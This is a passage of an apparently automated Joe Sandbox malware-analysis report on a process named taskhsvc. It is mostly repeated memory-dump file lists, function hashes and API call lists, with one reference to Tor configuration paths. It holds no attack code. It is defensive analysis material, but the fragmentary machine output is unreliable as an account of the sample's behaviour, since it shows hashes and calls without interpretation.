                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_failexitfree
                                        • String ID: 8
                                        • API String ID: 780109331-3897458245
                                        • Opcode ID: 3637276f97e0a0bea5beb38e4f1652852553f9ca0b41155668bbe0bbf7f9805c
                                        • Instruction ID: 17d32437a878caaf92ae0ffb4c25a85760354ab05138551cd9c23184f29ace4f
                                        • Opcode Fuzzy Hash: 3637276f97e0a0bea5beb38e4f1652852553f9ca0b41155668bbe0bbf7f9805c
                                        • Instruction Fuzzy Hash: CA3166B09083099FDB00DFA9C545BAEBBF0FB44314F11885DE594AB380D7789985CFA2
                                        Function 00D19C41 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                        Download Yara Rule
                                        APIs
                                        • abort.MSVCRT ref: 00D19C9A
                                        • memset.MSVCRT ref: 00D19D32
                                        • __stack_chk_fail.LIBSSP-0 ref: 00D19D4C
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D16586
                                          • Part of subcall function 00D16562: strrchr.MSVCRT ref: 00D1659C
                                          • Part of subcall function 00D16562: __stack_chk_fail.LIBSSP-0 ref: 00D16601
                                          • Part of subcall function 00D19764: __stack_chk_fail.LIBSSP-0 ref: 00D19857
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$strrchr$abortmemset
                                        • String ID: M
                                        • API String ID: 4235535680-3664761504
                                        • Opcode ID: e09f5113a1aad5bd1aa197417b7cda0b4d1ea91021557475ccdde90c68037e84
                                        • Instruction ID: a89f615168a2a42a7c61b34269468759f2b9b394264c4ccf7d4badcb0daef09b
                                        • Opcode Fuzzy Hash: e09f5113a1aad5bd1aa197417b7cda0b4d1ea91021557475ccdde90c68037e84
                                        • Instruction Fuzzy Hash: 7A31B2B4A04219DFCB00DFA8D4949AEF7F1FF48310F058919E9A4AB3A1D778E941CB65
                                        Function 00C29AAB Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 31COMMON
                                        Download Yara Rule
                                        APIs
                                        • __stack_chk_fail.LIBSSP-0 ref: 00C29B28
                                          • Part of subcall function 00C2990B: __stack_chk_fail.LIBSSP-0 ref: 00C29AA1
                                          • Part of subcall function 00D16005: __stack_chk_fail.LIBSSP-0 ref: 00D1605E
                                        Strings
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail
                                        • String ID: C:\Users\user\AppData\Roaming\tor\torrc$C:\Users\user\AppData\Roaming\tor\torrc-defaults$z9
                                        • API String ID: 4216919130-3676730555
                                        • Opcode ID: 4515b20aa0669b4822bfe8248e446f5e55a165a6faaf04c48af4eb6efc1bb023
                                        • Instruction ID: a70c2810eaa894371e30e8f299535d723f77fffa3c6027068d179964628c154f
                                        • Opcode Fuzzy Hash: 4515b20aa0669b4822bfe8248e446f5e55a165a6faaf04c48af4eb6efc1bb023
                                        • Instruction Fuzzy Hash: F9F0C9B0904214EFCB00EFA9D54665EBBE0EB85354F01D81DE198AB345DBB59981CF62
                                        Function 00BF3047 Relevance: 6.2, APIs: 4, Instructions: 200COMMON
                                        Download Yara Rule
                                        APIs
                                        • getsockname.WS2_32 ref: 00BF30A2
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BF33E6
                                          • Part of subcall function 00D19B0B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00D145AC), ref: 00D19B69
                                          • Part of subcall function 00D2B94F: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BF311A), ref: 00D2B9AB
                                          • Part of subcall function 00D2B94F: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00BF311A), ref: 00D2B9EA
                                          • Part of subcall function 00D2B94F: memset.MSVCRT ref: 00D2BA05
                                          • Part of subcall function 00D2B94F: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00BF311A), ref: 00D2BAEA
                                          • Part of subcall function 00BE8718: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BEF09F), ref: 00BE873F
                                        • free.MSVCRT ref: 00BF31CA
                                        • free.MSVCRT ref: 00BF335D
                                        Memory Dump Source
                                        • Source File: 00000024.00000002.5896556558.0000000000BCA000.00000040.00000001.01000000.0000000D.sdmp, Offset: 00BC0000, based on PE: true
                                        • Associated: 00000024.00000002.5895985678.0000000000BC0000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896167361.0000000000BC1000.00000020.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5896362671.0000000000BC9000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897072059.0000000000C25000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897253491.0000000000C28000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897441311.0000000000C2F000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897614781.0000000000C30000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5897945729.0000000000C66000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898134482.0000000000C67000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898374845.0000000000C8B000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898557824.0000000000C8C000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898741289.0000000000C8D000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5898900419.0000000000C90000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899239262.0000000000CD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899420071.0000000000CD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899593706.0000000000CD6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899775324.0000000000CD7000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5899932336.0000000000CD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900041614.0000000000CD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900197920.0000000000CDA000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900352121.0000000000CDC000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900650283.0000000000D48000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900878587.0000000000DBA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5900942323.0000000000DC3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901010151.0000000000DC4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901054865.0000000000DC6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901100928.0000000000DCA000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901166352.0000000000DCC000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901231181.0000000000DCE000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901271785.0000000000DCF000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901314586.0000000000DD0000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901364964.0000000000DD3000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901413183.0000000000DD4000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901466064.0000000000DD8000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901518617.0000000000DD9000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901567304.0000000000DE0000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901607326.0000000000DE1000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901652479.0000000000DE4000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901694174.0000000000DE5000.00000040.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901759242.0000000000DF6000.00000080.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901813292.0000000000DFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901868341.0000000000DFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901913579.0000000000E00000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5901961256.0000000000E02000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902004061.0000000000E03000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902054408.0000000000E05000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902100096.0000000000E0B000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902140987.0000000000E0C000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000E9D000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902288206.0000000000EA2000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902381146.0000000000EA3000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                        • Associated: 00000024.00000002.5902424221.0000000000EA8000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                        Joe Sandbox IDA Plugin
                                        • Snapshot File: hcaresult_36_2_bc0000_taskhsvc.jbxd
                                        Similarity
                                        • API ID: __stack_chk_fail$abortfree$getsocknamememset
                                        • String ID:
                                        • API String ID: 2758675185-0
                                        • Opcode ID: b705a44919c7712e305ef9efb06295eb9449ef9702b202bc02d0718738819c0a
                                        • Instruction ID: 61a33d07517c878da6f89b2353f6e7d3ab556a4a771b13ebd74395168ae2c13c
                                        • Opcode Fuzzy Hash: b705a44919c7712e305ef9efb06295eb9449ef9702b202bc02d0718738819c0a
                                        • Instruction Fuzzy Hash: BFA1F574908329CFDB10DF64D881B9DBBF0FF44704F00889AE588A7211EB749A88CF22
                                        Function 00BECEB7 Relevance: 6.2, APIs: 4, Instructions: 158COMMON
                                        Download Yara Rule
                                        APIs
                                          • Part of subcall function 00C1F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00C06074), ref: 00C1F7B2
                                          • Part of subcall function 00BE8718: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,00BEF09F), ref: 00BE873F
                                        • memset.MSVCRT ref: 00BECFFA
                                        • memset.MSVCRT ref: 00BED09B
                                        • abort.MSVCRT ref: 00BED11A
                                        • __stack_chk_fail.LIBSSP-0 ref: 00BED1BD
                                          • Part of subcall function 00D2D28C: abort.MSVCRT ref: 00D2D2DC
